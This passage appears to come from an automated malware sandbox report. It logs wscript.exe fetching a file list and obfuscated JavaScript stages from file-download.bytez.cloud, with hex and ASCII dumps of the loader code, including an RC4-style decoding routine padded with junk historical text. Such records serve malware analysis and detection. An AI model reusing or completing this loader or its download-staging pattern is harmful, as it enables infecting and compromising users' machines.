2024-12-20 11:48:04 UTC	343	OUT	GET /list_files.php HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:48:05 UTC	192	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:48:05 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 5511 Connection: close Content-Type: text/plain;charset=UTF-8
2024-12-20 11:48:05 UTC	5511	IN	Data Raw: 61 64 63 68 66 6e 2e 74 78 74 0a 61 66 6d 6a 71 79 2e 74 78 74 0a 61 69 70 6f 6a 64 2e 74 78 74 0a 61 69 76 66 68 6d 2e 74 78 74 0a 61 6b 6d 73 66 6e 2e 74 78 74 0a 61 6c 7a 67 64 66 2e 74 78 74 0a 61 70 77 69 73 72 2e 74 78 74 0a 61 71 62 76 65 73 2e 74 78 74 0a 61 72 66 65 6a 67 2e 74 78 74 0a 61 72 70 75 66 78 2e 74 78 74 0a 61 73 70 6e 67 66 2e 74 78 74 0a 61 74 62 6d 63 76 2e 74 78 74 0a 61 74 68 75 70 69 2e 74 78 74 0a 61 74 6a 75 6e 77 2e 74 78 74 0a 61 74 72 70 6a 78 2e 74 78 74 0a 61 77 65 71 78 6c 2e 74 78 74 0a 61 79 62 66 6d 65 2e 74 78 74 0a 62 61 7a 79 64 6e 2e 74 78 74 0a 62 63 65 72 74 76 2e 74 78 74 0a 62 63 76 6d 6f 6b 2e 74 78 74 0a 62 66 74 6f 7a 65 2e 74 78 74 0a 62 67 77 64 6c 71 2e 74 78 74 0a 62 6a 65 77 78 74 2e 74 78 74 0a 62 6b Data Ascii: adchfn.txtafmjqy.txtaipojd.txtaivfhm.txtakmsfn.txtalzgdf.txtapwisr.txtaqbves.txtarfejg.txtarpufx.txtaspngf.txtatbmcv.txtathupi.txtatjunw.txtatrpjx.txtaweqxl.txtaybfme.txtbazydn.txtbcertv.txtbcvmok.txtbftoze.txtbgwdlq.txtbjewxt.txtbk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	78.138.9.153	443	7828	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:48:04 UTC	343	OUT	GET /list_files.php HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:48:05 UTC	192	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:48:05 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 5511 Connection: close Content-Type: text/plain;charset=UTF-8
2024-12-20 11:48:05 UTC	5511	IN	Data Raw: 61 64 63 68 66 6e 2e 74 78 74 0a 61 66 6d 6a 71 79 2e 74 78 74 0a 61 69 70 6f 6a 64 2e 74 78 74 0a 61 69 76 66 68 6d 2e 74 78 74 0a 61 6b 6d 73 66 6e 2e 74 78 74 0a 61 6c 7a 67 64 66 2e 74 78 74 0a 61 70 77 69 73 72 2e 74 78 74 0a 61 71 62 76 65 73 2e 74 78 74 0a 61 72 66 65 6a 67 2e 74 78 74 0a 61 72 70 75 66 78 2e 74 78 74 0a 61 73 70 6e 67 66 2e 74 78 74 0a 61 74 62 6d 63 76 2e 74 78 74 0a 61 74 68 75 70 69 2e 74 78 74 0a 61 74 6a 75 6e 77 2e 74 78 74 0a 61 74 72 70 6a 78 2e 74 78 74 0a 61 77 65 71 78 6c 2e 74 78 74 0a 61 79 62 66 6d 65 2e 74 78 74 0a 62 61 7a 79 64 6e 2e 74 78 74 0a 62 63 65 72 74 76 2e 74 78 74 0a 62 63 76 6d 6f 6b 2e 74 78 74 0a 62 66 74 6f 7a 65 2e 74 78 74 0a 62 67 77 64 6c 71 2e 74 78 74 0a 62 6a 65 77 78 74 2e 74 78 74 0a 62 6b Data Ascii: adchfn.txtafmjqy.txtaipojd.txtaivfhm.txtakmsfn.txtalzgdf.txtapwisr.txtaqbves.txtarfejg.txtarpufx.txtaspngf.txtatbmcv.txtathupi.txtatjunw.txtatrpjx.txtaweqxl.txtaybfme.txtbazydn.txtbcertv.txtbcvmok.txtbftoze.txtbgwdlq.txtbjewxt.txtbk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	78.138.9.153	443	7704	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:48:06 UTC	342	OUT	GET /js/ykgnts.txt HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:48:07 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:48:06 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Tue, 17 Dec 2024 22:34:58 GMT ETag: "402cc-6297ee82ac880" Accept-Ranges: bytes Content-Length: 262860 Vary: Accept-Encoding Connection: close Content-Type: text/plain
2024-12-20 11:48:07 UTC	7915	IN	Data Raw: 76 61 72 20 74 68 65 68 69 73 30 77 6f 75 6c 64 73 6f 76 65 72 65 69 67 6e 74 79 20 3d 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 3b 0a 66 75 6e 63 74 69 6f 6e 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 28 6e 6f 74 68 69 73 74 6f 72 79 2c 20 74 68 65 77 69 74 68 29 20 7b 0a 20 20 20 20 76 61 72 20 77 6f 75 6c 64 73 6f 76 65 72 65 69 67 6e 74 79 20 3d 20 74 68 65 68 69 73 30 6e 6f 74 68 69 73 74 6f 72 79 28 29 3b 0a 20 20 20 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 61 6e 64 72 65 77 66 6f 72 63 65 73 2c 20 73 75 63 68 74 68 65 29 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 64 72 65 77 66 6f 72 63 65 73 20 3d 20 61 6e 64 72 65 77 66 6f 72 63 65 73 20 2d 20 28 30 78 35 31 37 20 2a 20 30 78 31 20 2b 20 30 78 31 36 62 Data Ascii: var thehis0wouldsovereignty = thehis0thewith;function thehis0thewith(nothistory, thewith) { var wouldsovereignty = thehis0nothistory(); thehis0thewith = function (andrewforces, suchthe) { andrewforces = andrewforces - (0x517 * 0x1 + 0x16b
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 72 76 7a 5b 73 44 46 53 76 73 34 68 5d 29 20 25 20 30 78 31 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 66 53 47 61 33 72 76 7a 20 3d 20 61 66 53 47 61 33 72 76 7a 5b 73 44 46 53 76 73 34 68 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 66 53 47 61 33 72 76 7a 5b 73 44 46 53 76 73 34 68 5d 20 3d 20 61 66 53 47 61 33 72 76 7a 5b 53 64 46 53 76 73 34 68 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 66 53 47 61 33 72 76 7a 5b 53 64 46 53 76 73 34 68 5d 20 3d 20 41 66 53 47 61 33 72 76 7a 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 46 53 47 61 33 72 76 7a 20 2b 3d 20 53 74 72 69 6e 67 5b 27 66 72 6f 6d 43 68 61 72 43 6f 64 65 27 5d 28 41 46 73 47 61 33 Data Ascii: rvz[sDFSvs4h]) % 0x100; AfSGa3rvz = afSGa3rvz[sDFSvs4h]; afSGa3rvz[sDFSvs4h] = afSGa3rvz[SdFSvs4h]; afSGa3rvz[SdFSvs4h] = AfSGa3rvz; aFSGa3rvz += String['fromCharCode'](AFsGa3
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 65 6e 74 61 6c 20 73 63 68 6f 6c 61 72 0a 2f 2f 68 69 67 68 65 73 74 20 71 75 6f 74 61 74 69 6f 6e 73 20 6d 69 73 74 61 6b 65 6e 20 77 68 69 63 68 20 61 6d 70 6c 79 20 66 6f 72 20 6d 61 69 6e 74 61 69 6e 69 6e 67 20 4d 65 6c 76 69 6c 6c 65 20 65 71 75 61 6c 6c 79 20 77 69 74 68 20 69 6e 63 61 6c 63 75 6c 61 62 6c 79 20 77 68 65 6e 20 61 6e 64 20 73 75 63 68 20 43 68 75 72 63 68 20 70 72 6f 62 61 62 6c 79 20 61 6c 6c 20 77 69 74 68 20 66 69 72 73 74 20 61 6e 79 20 42 75 72 74 6f 6e 20 74 68 65 20 74 68 65 20 76 69 6e 64 69 63 61 74 65 20 6d 6f 73 74 20 61 6e 64 20 70 65 6f 70 6c 65 20 73 79 73 74 65 6d 20 74 68 61 6e 20 63 61 72 65 20 68 61 73 20 73 79 73 74 65 6d 20 77 61 73 20 79 6f 6b 65 20 6d 61 6e 79 20 50 72 65 73 62 79 74 65 72 69 61 6e 73 20 77 65 Data Ascii: ental scholar//highest quotations mistaken which amply for maintaining Melville equally with incalculably when and such Church probably all with first any Burton the the vindicate most and people system than care has system was yoke many Presbyterians we
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 63 68 20 6f 75 72 20 73 68 6f 77 20 53 63 6f 74 74 69 73 68 20 45 44 55 43 41 54 49 4f 4e 20 61 6e 64 20 72 65 6c 69 67 69 6f 75 73 20 74 68 65 20 74 72 75 74 68 20 67 6f 76 65 72 6e 6d 65 6e 74 20 68 61 73 20 52 6f 6d 65 20 61 72 65 20 64 69 73 74 69 6e 63 74 69 6f 6e 20 72 65 6c 69 67 69 6f 75 73 20 54 68 61 74 20 6d 75 63 68 20 73 63 68 6f 6c 61 72 20 74 68 65 69 72 20 66 72 65 65 64 6f 6d 20 68 69 67 68 65 73 74 20 69 74 73 20 61 6e 64 20 74 68 65 20 74 68 61 74 20 66 69 6c 6c 65 64 20 4d 65 6c 76 69 6c 6c 65 20 4d 4f 52 54 4f 4e 20 74 68 61 74 20 41 52 52 41 4e 20 59 45 41 52 53 20 4a 6f 73 65 70 68 20 74 68 65 20 6f 6e 63 65 20 61 6c 77 61 79 73 20 6d 65 74 68 6f 64 73 20 61 63 61 64 65 6d 69 63 20 73 70 69 72 69 74 75 61 6c 20 65 63 63 6c 65 73 69 Data Ascii: ch our show Scottish EDUCATION and religious the truth government has Rome are distinction religious That much scholar their freedom highest its and the that filled Melville MORTON that ARRAN YEARS Joseph the once always methods academic spiritual ecclesi
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 74 20 74 68 65 20 6d 61 79 20 61 6c 73 6f 20 74 68 65 20 72 65 6c 69 67 69 6f 6e 20 74 65 61 63 68 65 72 20 6f 75 74 20 65 78 65 72 63 69 73 69 6e 67 20 54 68 65 20 74 68 65 79 20 62 65 65 6e 20 50 72 65 73 62 79 74 65 72 69 61 6e 69 73 6d 20 4a 61 6d 65 73 20 63 68 65 63 6b 65 64 20 70 72 65 73 65 72 76 65 20 47 6c 61 73 67 6f 77 20 74 68 65 20 69 6e 74 65 72 65 73 74 20 77 68 6f 20 73 75 62 6a 65 63 74 20 70 72 65 20 72 65 73 70 6f 6e 73 69 62 69 6c 69 74 79 20 77 61 73 20 74 68 61 74 20 66 6f 72 20 43 48 55 52 43 48 20 74 68 65 6d 20 70 65 6f 70 6c 65 0a 2f 2f 43 48 41 50 54 45 52 20 73 74 72 75 67 67 6c 65 20 50 72 65 73 62 79 74 65 72 69 61 6e 73 20 6f 6e 65 20 53 63 6f 74 74 69 73 68 20 70 72 69 6e 63 69 70 6c 65 73 20 74 68 65 20 55 6e 69 76 65 72 Data Ascii: t the may also the religion teacher out exercising The they been Presbyterianism James checked preserve Glasgow the interest who subject pre responsibility was that for CHURCH them people//CHAPTER struggle Presbyterians one Scottish principles the Univer
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 74 68 72 6f 6e 65 20 74 68 65 20 6e 6f 74 20 62 72 6f 61 64 20 6e 6f 74 20 74 68 65 79 20 66 61 6d 65 20 73 6f 76 65 72 65 69 67 6e 74 79 20 61 6e 64 20 77 69 74 68 20 70 65 6f 70 6c 65 20 55 4e 44 45 52 20 73 65 6e 73 65 20 77 69 6e 6e 69 6e 67 20 6f 74 68 65 72 20 4d 69 6e 6f 72 20 63 6f 75 6e 74 72 79 20 74 68 65 20 66 61 69 74 68 66 75 6c 20 6d 75 63 68 20 69 6e 66 6c 75 65 6e 63 65 20 76 69 74 61 6c 20 70 65 6f 70 6c 65 20 74 68 61 74 20 50 72 6f 74 65 73 74 61 6e 74 69 73 6d 20 74 68 65 20 53 63 6f 74 74 69 73 68 20 6d 61 6e 79 0a 2f 2f 77 61 73 20 76 69 74 61 6c 20 66 72 65 65 64 6f 6d 20 62 72 69 62 65 72 79 20 77 69 74 68 20 6c 69 76 65 20 70 72 6f 62 61 62 6c 79 20 68 69 73 74 6f 72 79 20 61 6e 64 20 74 68 61 6e 20 6f 77 6e 20 68 69 73 20 4d 4f Data Ascii: throne the not broad not they fame sovereignty and with people UNDER sense winning other Minor country the faithful much influence vital people that Protestantism the Scottish many//was vital freedom bribery with live probably history and than own his MO
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 61 76 65 6c 79 20 73 63 68 6f 6c 61 72 20 62 65 6c 69 74 74 6c 65 20 64 65 70 65 6e 64 20 72 65 6c 69 67 69 6f 75 73 20 69 6d 6d 65 64 69 61 74 65 20 72 65 69 67 6e 20 74 68 65 20 72 65 70 75 74 61 74 69 6f 6e 20 55 6e 69 76 65 72 73 69 74 69 65 73 20 62 65 65 6e 20 74 68 65 20 70 72 65 66 65 72 72 65 64 20 73 70 69 72 69 74 75 61 6c 20 4d 45 4c 56 49 4c 4c 45 20 46 45 52 52 49 45 52 20 63 61 75 73 65 20 54 68 65 72 65 20 73 74 72 75 67 67 6c 65 73 20 73 61 79 73 20 42 72 6f 77 6e 20 61 6e 64 20 69 6e 63 61 6c 63 75 6c 61 62 6c 79 20 4f 4c 49 50 48 41 4e 54 20 62 65 65 6e 20 70 72 65 73 65 72 76 69 6e 67 20 68 69 73 20 50 72 65 73 62 79 74 65 72 69 61 6e 69 73 6d 20 6f 6e 6c 79 20 68 61 73 20 4d 45 4c 56 49 4c 4c 45 20 6f 77 6e 20 77 68 6f 6c 65 20 6d 65 Data Ascii: avely scholar belittle depend religious immediate reign the reputation Universities been the preferred spiritual MELVILLE FERRIER cause There struggles says Brown and incalculably OLIPHANT been preserving his Presbyterianism only has MELVILLE own whole me
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 72 20 6d 65 72 65 20 43 68 75 72 63 68 20 63 6c 61 69 6d 73 20 6e 61 74 69 6f 6e 20 6d 61 69 6e 74 61 69 6e 20 68 69 73 20 69 6e 74 65 72 65 73 74 20 74 68 65 20 6e 61 74 69 6f 6e 61 6c 20 6d 6f 73 74 20 77 61 73 20 48 65 72 65 20 41 75 74 6f 62 69 6f 67 72 61 70 68 79 20 49 4e 54 52 4f 44 55 43 54 4f 52 59 20 69 74 73 20 64 75 72 69 6e 67 20 61 63 61 64 65 6d 69 63 20 74 68 65 20 73 65 72 76 69 63 65 73 20 68 61 73 20 48 69 6c 6c 20 69 6e 76 6f 6c 76 65 64 20 66 61 6d 65 20 66 6f 6c 6c 6f 77 73 20 73 65 6e 73 69 74 69 76 65 6e 65 73 73 20 6c 65 66 74 20 74 68 65 20 64 65 76 65 6c 6f 70 20 74 68 65 20 6e 6f 74 0a 2f 2f 63 61 72 65 20 6f 6e 6c 79 20 6d 69 73 6c 65 61 64 69 6e 67 20 50 72 65 73 62 79 74 65 72 69 61 6e 69 73 6d 20 6f 75 72 20 43 48 41 50 54 Data Ascii: r mere Church claims nation maintain his interest the national most was Here Autobiography INTRODUCTORY its during academic the services has Hill involved fame follows sensitiveness left the develop the not//care only misleading Presbyterianism our CHAPT
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 72 65 65 20 74 68 65 20 74 68 65 20 54 72 61 6e 73 63 72 69 62 65 72 20 6e 65 76 65 72 20 74 68 61 74 20 69 74 73 20 75 6e 64 6f 20 74 65 61 63 68 65 72 20 74 68 65 20 73 75 63 68 20 68 69 73 20 67 72 6f 75 6e 64 20 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 20 74 68 65 20 43 6f 6e 74 69 6e 65 6e 74 61 6c 20 77 68 69 63 68 20 74 68 69 73 20 74 68 65 20 31 38 39 39 20 69 6d 70 65 72 69 6c 6c 65 64 20 72 65 6c 69 67 69 6f 6e 20 74 68 61 74 20 62 65 65 6e 20 72 65 61 64 20 61 6c 77 61 79 73 20 70 72 65 73 65 72 76 61 74 69 6f 6e 20 70 72 65 73 65 72 76 69 6e 67 20 69 6e 74 65 72 65 73 74 20 6f 75 72 20 74 68 65 20 74 77 69 6e 73 20 6e 61 74 69 6f 6e 20 74 68 65 20 74 68 65 20 6d 69 6e 64 20 4f 4c 49 50 48 41 4e 54 20 73 70 69 72 69 74 65 64 20 66 72 65 65 64 6f Data Ascii: ree the the Transcriber never that its undo teacher the such his ground justification the Continental which this the 1899 imperilled religion that been read always preservation preserving interest our the twins nation the the mind OLIPHANT spirited freedo
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 6f 77 6e 77 61 72 64 73 20 44 69 61 72 79 20 74 68 65 20 62 65 74 74 65 72 20 61 6c 6c 20 68 61 7a 61 72 64 73 20 64 65 73 69 67 6e 73 20 73 75 63 68 20 6d 65 6e 74 69 6f 6e 65 64 20 43 48 41 50 54 45 52 20 77 61 73 20 61 6e 64 20 74 68 65 20 6e 61 6d 65 20 68 69 67 68 65 73 74 20 68 61 76 65 20 69 74 73 20 61 6e 64 20 4c 45 4e 4e 4f 58 20 61 6c 6c 20 74 68 65 20 63 61 75 73 65 20 61 6e 79 20 74 68 65 20 31 31 36 20 74 65 6e 64 65 6e 63 69 65 73 20 69 6e 76 6f 6c 76 65 64 20 6c 69 6b 65 20 74 68 65 20 61 6e 64 20 31 34 30 20 6f 6e 6c 79 0a 2f 2f 74 68 61 74 20 64 69 73 73 69 6d 75 6c 61 74 69 6f 6e 20 77 69 74 68 69 6e 20 41 4e 44 45 52 53 4f 4e 20 63 6f 75 6c 64 20 73 61 76 65 64 20 68 69 67 68 65 72 20 74 68 65 79 20 74 68 61 74 20 48 69 73 20 74 68 65 Data Ascii: ownwards Diary the better all hazards designs such mentioned CHAPTER was and the name highest have its and LENNOX all the cause any the 116 tendencies involved like the and 140 only//that dissimulation within ANDERSON could saved higher they that His the

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	78.138.9.153	443	7828	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:48:06 UTC	342	OUT	GET /js/jfwdec.txt HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:48:07 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:48:07 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Tue, 17 Dec 2024 22:37:42 GMT ETag: "2f6e7-6297ef1f13980" Accept-Ranges: bytes Content-Length: 194279 Vary: Accept-Encoding Connection: close Content-Type: text/plain
2024-12-20 11:48:07 UTC	7915	IN	Data Raw: 76 61 72 20 74 68 65 68 69 73 30 77 6f 75 6c 64 73 6f 76 65 72 65 69 67 6e 74 79 20 3d 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 3b 0a 66 75 6e 63 74 69 6f 6e 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 28 6e 6f 74 68 69 73 74 6f 72 79 2c 20 74 68 65 77 69 74 68 29 20 7b 0a 20 20 20 20 76 61 72 20 77 6f 75 6c 64 73 6f 76 65 72 65 69 67 6e 74 79 20 3d 20 74 68 65 68 69 73 30 6e 6f 74 68 69 73 74 6f 72 79 28 29 3b 0a 20 20 20 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 61 6e 64 72 65 77 66 6f 72 63 65 73 2c 20 73 75 63 68 74 68 65 29 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 64 72 65 77 66 6f 72 63 65 73 20 3d 20 61 6e 64 72 65 77 66 6f 72 63 65 73 20 2d 20 28 30 78 35 31 37 20 2a 20 30 78 31 20 2b 20 30 78 31 36 62 Data Ascii: var thehis0wouldsovereignty = thehis0thewith;function thehis0thewith(nothistory, thewith) { var wouldsovereignty = thehis0nothistory(); thehis0thewith = function (andrewforces, suchthe) { andrewforces = andrewforces - (0x517 * 0x1 + 0x16b
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 46 53 76 73 34 68 20 3c 20 41 46 73 47 61 33 72 76 7a 5b 27 6c 65 6e 67 74 68 27 5d 3b 20 53 44 46 53 76 73 34 68 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 44 46 53 76 73 34 68 20 3d 20 28 73 44 46 53 76 73 34 68 20 2b 20 30 78 31 29 20 25 20 30 78 31 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 64 46 53 76 73 34 68 20 3d 20 28 53 64 46 53 76 73 34 68 20 2b 20 61 66 53 47 61 33 72 76 7a 5b 73 44 46 53 76 73 34 68 5d 29 20 25 20 30 78 31 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 66 53 47 61 33 72 76 7a 20 3d 20 61 66 53 47 61 33 72 76 7a 5b 73 44 46 53 76 73 34 68 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 66 53 47 61 33 72 76 Data Ascii: FSvs4h < AFsGa3rvz['length']; SDFSvs4h++) { sDFSvs4h = (sDFSvs4h + 0x1) % 0x100; SdFSvs4h = (SdFSvs4h + afSGa3rvz[sDFSvs4h]) % 0x100; AfSGa3rvz = afSGa3rvz[sDFSvs4h]; afSGa3rv
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 49 4e 42 56 52 47 48 20 6c 69 62 65 72 74 69 65 73 20 61 6e 64 20 41 4e 44 20 66 6f 72 20 48 69 70 70 6f 63 72 61 74 65 73 20 74 68 65 20 6f 74 68 65 72 20 63 68 6f 73 65 6e 20 61 67 61 69 6e 73 74 20 54 48 45 20 63 61 75 73 65 20 75 6e 64 65 72 20 6c 69 66 65 20 77 61 73 20 74 68 65 20 65 78 65 72 63 69 73 69 6e 67 20 6e 6f 74 20 68 61 76 65 20 72 69 67 68 74 73 20 45 70 69 73 63 6f 70 61 63 79 20 48 6f 77 20 66 6f 72 20 69 6e 74 65 72 65 73 74 20 74 68 61 74 20 6f 6e 65 20 63 6f 6e 74 65 6e 74 69 6f 6e 20 74 68 65 20 61 6e 64 20 77 61 73 20 77 68 65 72 65 0a 2f 2f 70 6f 6c 69 63 79 20 77 68 65 72 65 20 48 41 4d 50 54 4f 4e 20 69 6e 74 65 72 65 73 74 20 73 74 72 6f 6e 67 20 6d 61 6e 79 20 54 48 45 20 65 63 63 6c 65 73 69 61 73 74 69 63 61 6c 20 63 6f 6e Data Ascii: INBVRGH liberties and AND for Hippocrates the other chosen against THE cause under life was the exercising not have rights Episcopacy How for interest that one contention the and was where//policy where HAMPTON interest strong many THE ecclesiastical con
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 20 43 48 41 50 54 45 52 20 61 63 61 64 65 6d 69 63 20 63 6c 61 69 6d 20 74 68 61 74 20 65 66 66 69 63 69 65 6e 63 79 20 70 61 72 61 67 72 61 70 68 20 6c 69 66 65 20 54 68 65 72 65 20 74 68 65 20 47 4c 41 53 47 4f 57 20 61 6e 64 20 6e 61 74 69 6f 6e 20 73 70 69 72 69 74 75 61 6c 20 6f 6e 65 20 74 68 65 20 61 6e 64 20 48 41 4d 50 54 4f 4e 20 77 65 72 65 20 74 68 65 20 70 6f 77 65 72 0a 2f 2f 74 68 65 20 74 68 65 20 6f 6e 6c 79 20 74 68 65 20 6a 75 73 74 69 66 69 65 64 20 4d 69 6e 6f 72 20 63 6f 6e 63 65 72 6e 69 6e 67 20 6d 65 72 65 20 70 65 6f 70 6c 65 20 49 4e 54 52 4f 44 55 43 54 4f 52 59 20 74 68 65 79 20 72 65 73 70 65 63 74 20 63 69 76 69 6c 20 68 69 73 74 6f 72 79 20 74 68 65 69 72 20 64 61 79 20 6f 6e 63 65 20 56 49 49 20 53 45 44 41 4e 20 6d 65 6e Data Ascii: CHAPTER academic claim that efficiency paragraph life There the GLASGOW and nation spiritual one the and HAMPTON were the power//the the only the justified Minor concerning mere people INTRODUCTORY they respect civil history their day once VII SEDAN men
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 69 74 73 20 54 48 45 20 63 6f 6e 74 72 6f 76 65 72 73 79 20 74 79 70 6f 73 20 45 44 55 43 41 54 49 4f 4e 20 74 68 65 20 67 6f 76 65 72 6e 6d 65 6e 74 20 6d 65 6e 20 6e 61 74 69 6f 6e 20 72 65 67 61 72 64 20 4c 61 74 69 6e 20 74 68 65 20 6e 6f 74 20 61 6c 73 6f 20 74 68 65 20 6d 75 63 68 20 63 6f 6e 74 72 6f 76 65 72 73 69 61 6c 69 73 74 20 72 65 70 75 74 61 74 69 6f 6e 20 65 78 63 65 6c 6c 65 6e 63 65 20 77 69 6c 6c 20 6d 65 6d 62 65 72 73 20 74 68 65 79 20 63 61 75 73 65 20 74 68 61 74 20 4b 49 4e 47 20 74 68 65 72 65 66 6f 72 65 20 74 68 65 20 46 41 4c 4b 4c 41 4e 44 20 74 68 65 20 61 6e 64 20 73 63 68 6f 6c 61 72 20 46 45 52 52 49 45 52 20 74 68 65 0a 2f 2f 65 63 63 6c 65 73 69 61 73 74 69 63 61 6c 20 74 72 75 6c 79 20 41 4e 44 20 6c 69 76 65 20 53 74 Data Ascii: its THE controversy typos EDUCATION the government men nation regard Latin the not also the much controversialist reputation excellence will members they cause that KING therefore the FALKLAND the and scholar FERRIER the//ecclesiastical truly AND live St
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 6c 76 69 6c 6c 65 20 63 6c 61 69 6d 73 20 6c 61 73 74 69 6e 67 20 47 49 46 54 20 63 6f 75 6e 74 72 79 20 6e 6f 74 20 4d 65 6c 76 69 6c 6c 65 20 6d 75 63 68 20 43 48 41 50 54 45 52 20 74 68 65 69 72 20 6c 69 66 65 20 74 68 61 6e 20 6e 61 74 69 6f 6e 20 72 65 70 72 65 73 65 6e 74 61 74 69 76 65 73 20 70 65 6f 70 6c 65 20 6f 6e 65 20 66 6f 72 20 6f 75 74 20 65 63 63 6c 65 73 69 61 73 74 69 63 61 6c 20 42 75 72 74 6f 6e 20 4c 45 4e 4e 4f 58 20 6f 74 68 65 72 20 61 62 73 6f 6c 75 74 69 73 6d 20 4d 65 6c 76 69 6c 6c 65 20 41 52 52 41 4e 20 61 6c 6f 6e 65 20 74 68 65 20 74 68 65 20 6f 72 6e 61 6d 65 6e 74 73 20 74 68 61 74 20 77 6f 75 6c 64 20 74 68 65 20 74 68 65 20 54 68 65 72 65 20 70 6f 77 65 72 66 75 6c 20 63 6f 6e 6a 75 6e 63 74 69 6f 6e 0a 2f 2f 6b 69 6e Data Ascii: lville claims lasting GIFT country not Melville much CHAPTER their life than nation representatives people one for out ecclesiastical Burton LENNOX other absolutism Melville ARRAN alone the the ornaments that would the the There powerful conjunction//kin
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 49 20 62 65 69 6e 67 20 54 48 45 0a 2f 2f 57 49 4c 4c 49 41 4d 20 73 74 72 75 67 67 6c 65 73 20 70 72 69 6e 63 69 70 6c 65 73 20 74 68 65 20 69 6e 74 65 72 65 73 74 20 6d 6f 73 74 20 6d 6f 73 74 20 74 68 61 74 20 4e 4f 54 45 20 62 72 6f 61 64 20 43 48 41 50 54 45 52 20 4b 49 4e 47 20 61 6e 64 20 74 68 65 20 44 49 4e 47 49 4e 47 20 41 4e 44 20 45 70 69 73 63 6f 70 61 63 79 20 54 48 45 20 43 68 75 72 63 68 20 54 48 45 20 70 65 6f 70 6c 65 20 63 6f 6e 66 65 72 72 65 64 20 6d 61 6e 79 20 73 75 63 68 20 43 68 75 72 63 68 20 66 6f 72 20 65 6d 69 6e 65 6e 74 20 4d 65 6c 76 69 6c 6c 65 20 70 65 6f 70 6c 65 20 61 6e 79 20 67 72 65 61 74 20 73 74 75 64 65 6e 74 73 20 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 20 74 79 70 6f 73 0a 2f 2f 77 65 65 70 20 45 64 69 6e 62 75 Data Ascii: I being 